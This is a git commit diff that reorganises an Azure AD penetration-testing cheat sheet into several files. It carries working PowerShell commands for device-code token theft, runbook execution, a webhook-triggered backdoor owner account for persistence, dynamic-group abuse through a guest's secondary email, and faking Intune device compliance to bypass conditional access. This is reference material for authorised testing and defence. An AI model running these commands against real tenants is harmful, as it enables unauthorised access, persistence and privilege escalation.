Azure Runbook + Dynamic Membership

pull/1/head
Swissky 2023-11-23 21:17:13 +01:00
parent ce9e94fe47
commit 8a796c3e8e
7 changed files with 165 additions and 166 deletions

View File

@ -3,11 +3,6 @@
## Summary ## Summary
* [Azure Recon Tools](#azure-recon-tools) * [Azure Recon Tools](#azure-recon-tools)
* [Authenticating to the Microsoft Graph API in PowerShell](#authenticating-to-the-microsoft-graph-api-in-powershell)
* [Graph API Refresh Token](#graph-api-refresh-token)
* [Graph API Access Token](#graph-api-access-token)
* [Terminology](#terminology)
* [Training](#training)
* [Enumeration](#enumeration) * [Enumeration](#enumeration)
* [Enumerate valid emails](#enumerate-valid-emails) * [Enumerate valid emails](#enumerate-valid-emails)
* [Enumerate Azure Subdomains](#enumerate-azure-subdomains) * [Enumerate Azure Subdomains](#enumerate-azure-subdomains)
@ -31,19 +26,14 @@
* [Enumerate blobs](#enumerate-blobs) * [Enumerate blobs](#enumerate-blobs)
* [SAS URL](#sas-url) * [SAS URL](#sas-url)
* [List and download blobs](#list-and-download-blobs) * [List and download blobs](#list-and-download-blobs)
* [Runbook Automation](#runbook-automation)
* [Create a Runbook](#create-a-runbook)
* [Persistence via Automation accounts](#persistence-via-automation-accounts)
* [Virtual Machine RunCommand](#virtual-machine-runcommand) * [Virtual Machine RunCommand](#virtual-machine-runcommand)
* [KeyVault Secrets](#keyvault-secrets) * [KeyVault Secrets](#keyvault-secrets)
* [Pass The Certificate](#pass--the-certificate) * [Pass The Certificate](#pass--the-certificate)
* [Pass The PRT](#pass-the-prt) * [Pass The PRT](#pass-the-prt)
* [Intunes Administration](#intunes-administration) * [Intunes Administration](#intunes-administration)
* [Dynamic Group Membership](#dynamic-group-membership)
* [Administrative Unit](#administrative-unit) * [Administrative Unit](#administrative-unit)
* [Deployment Template](#deployment-template) * [Deployment Template](#deployment-template)
* [Application Proxy](#application-proxy) * [Application Proxy](#application-proxy)
* [Conditional Access](#conditional-access)
* [Azure AD](#azure-ad) * [Azure AD](#azure-ad)
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory) * [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
* [Password Spray](#password-spray) * [Password Spray](#password-spray)
@ -207,73 +197,6 @@
``` ```
* [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API * [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API
## Authenticating to the Microsoft Graph API in PowerShell
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
| Name | GUID |
|----------------------------|--------------------------------------|
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
### Graph API Refresh Token
Authenticating to the Microsoft Graph API in PowerShell
```ps1
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse
```
### Graph API Access Token
This request require getting the Refresh Token.
```ps1
$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens
```
## Terminology
> Basic Azure AD terminologies
* **Tenant**: An instance of Azure AD and represents a single organization.
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
## Training
* AzureGoat : A Damn Vulnerable Azure Infrastructure - https://github.com/ine-labs/AzureGoat
## Enumeration ## Enumeration
@ -663,58 +586,6 @@ PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -Resou
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
``` ```
## Runbook Automation
### Create a Runbook
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects
# If the user is not part of an "Automation" group.
# Add him to a custom group , e.g: "Automation Admins"
Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Create a Powershell Runbook
PS C:\Tools> Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Persistence via Automation accounts
* Create a new Automation Account
* "Create Azure Run As account": Yes
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
* Sample runbook for this Blog located here https://github.com/NetSPI/MicroBurst
* Publish the runbook
* Add a webhook to the runbook
* Add the AzureAD module to the Automation account
* Update the Azure Automation Modules
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
* Eventually lose your access…
* Trigger the webhook with a post request to create the new user
```powershell
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Virtual Machine RunCommand ## Virtual Machine RunCommand
Requirements: Requirements:
@ -854,21 +725,6 @@ Requirements:
:warning: It will take up to one hour before you script is executed ! :warning: It will take up to one hour before you script is executed !
## Dynamic Group Membership
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
1. Open user's profile, click on **Manage**
2. Click on **Resend** invite and to get an invitation URL
3. Set the secondary email
```powershell
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
```
## Administrative Unit ## Administrative Unit
> Administrative Unit can reset password of another user > Administrative Unit can reset password of another user
@ -912,25 +768,6 @@ PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayN
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
``` ```
## Conditional Access
* Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
* Bypassing conditional access by faking device compliance
```powershell
# AAD Internals - Making your device compliant
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
```
## Azure AD ## Azure AD

View File

@ -156,6 +156,61 @@ Use the user account to create a computer and request a PRT
* Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key` * Request a PRT with MFA claim: `roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key`
## Authenticate to the Microsoft Graph API in PowerShell
* [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in)
| Name | GUID |
|----------------------------|--------------------------------------|
| Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 |
| Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 |
| Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c |
### Graph API Refresh Token
Authenticating to the Microsoft Graph API in PowerShell
```ps1
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://graph.microsoft.com" # Microsoft Graph API
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
$authResponse
```
### Graph API Access Token
This request require getting the Refresh Token.
```ps1
$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $body
$Tokens
```
## References ## References
* [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0) * [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0)

View File

@ -0,0 +1,12 @@
# Microsoft Entra Connect
## Password Hash Synchronization
## Pass-Through Authentication
## Federation
## References
* [Introduction to Microsoft Entra Connect V2 - Microsoft](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-azure-ad-connect-v2)

View File

@ -20,6 +20,19 @@
New-MgGroupMember -GroupId $groupid -DirectoryObjectid $targetmember New-MgGroupMember -GroupId $groupid -DirectoryObjectid $targetmember
``` ```
### Dynamic Group Membership
Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`
Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group
1. Open user's profile, click on **Manage**
2. Click on **Resend** invite and to get an invitation URL
3. Set the secondary email
```powershell
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>.onmicrosoft.com -Verbose
```
## Devices ## Devices

View File

@ -14,11 +14,12 @@ Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table
* roadrecon * roadrecon
```ps1 ```ps1
roadrecon auth --access-token eyJ0eXA... roadrecon auth --access-token eyJ0eXA...
roadrecon auth --prt-cookie <primary-refresh-token> -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2"
roadrecon gather roadrecon gather
``` ```
* AzureHound * AzureHound
```ps1 ```ps1
./azurehound -r REFRESH_TOKEN list --tenant domain.local -o output.json ./azurehound --refresh-token <refresh-token> list --tenant "<target-tenant-id>" -o output.json
``` ```
@ -34,13 +35,30 @@ Conditional Access is used to restrict access to resources to compliant devices
| Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) | | Platform requirement | User-Agent switcher (Android, PS4, Linux, ...) |
| Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) | | Protocol requirement | Use another protocol (e.g for e-mail acccess: POP, IMAP, SMTP) |
| Azure AD Joined Device | Try to join a VM (Work Access)| | Azure AD Joined Device | Try to join a VM (Work Access)|
| Compliant Device (Intune) | Fake device compliance |
| Device requirement | / | | Device requirement | / |
| MFA | / | | MFA | / |
| Legacy Protocols | / | | Legacy Protocols | / |
| Compliant Device (Intune) | / |
| Domain Joined | / | | Domain Joined | / |
Bypassing conditional access by faking device compliance
```powershell
# AAD Internals - Making your device compliant
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"
```
## Azure AD - MFA ## Azure AD - MFA
* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services * [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services

View File

@ -0,0 +1,28 @@
# Azure Requirements
## Pentest Requirements
* **Global Reader** and **Security Reader** roles in Azure AD
* **Reader** permission over the subscription
## Powershell and Native Modules
* [Microsoft Graph](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0): `Install-Module Microsoft.Graph -Scope CurrentUser`
* [Azure AD](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureAD`
* [Azure AD Preview](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureADPreview`
* [Azure CLI](https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli-windows?tabs=winget): `winget install -e --id Microsoft.AzureCLI`
## Terminology
* **Tenant**: An instance of Azure AD and represents a single organization.
* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources.
* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory.
* **Core Domain**: The initial domain name <tenant>.onmicrosoft.com is the core domain. It is possible to define custom domain names too.
## References
* [Az - Permissions for a Pentest - HackTricks](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-permissions-for-a-pentest)

View File

@ -2,7 +2,43 @@
## Azure Runbook ## Azure Runbook
Runbook must be SAVED and PUBLISHED before running it. Runbook must be **SAVED** and **PUBLISHED** before running it.
### Create a Runbook
* Check user right for automation
```powershell
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
az ad signed-in-user list-owned-objects
```
* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
### Persistence via Automation accounts
* Create a new Automation Account
* "Create Azure Run As account": Yes
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
* Sample runbook https://github.com/NetSPI/MicroBurst
* Publish the runbook
* Add a webhook to the runbook
* Add the AzureAD module to the Automation account
* Update the Azure Automation Modules
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
* Trigger the webhook with a post request to create the new user
```powershell
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## Azure Service Principal ## Azure Service Principal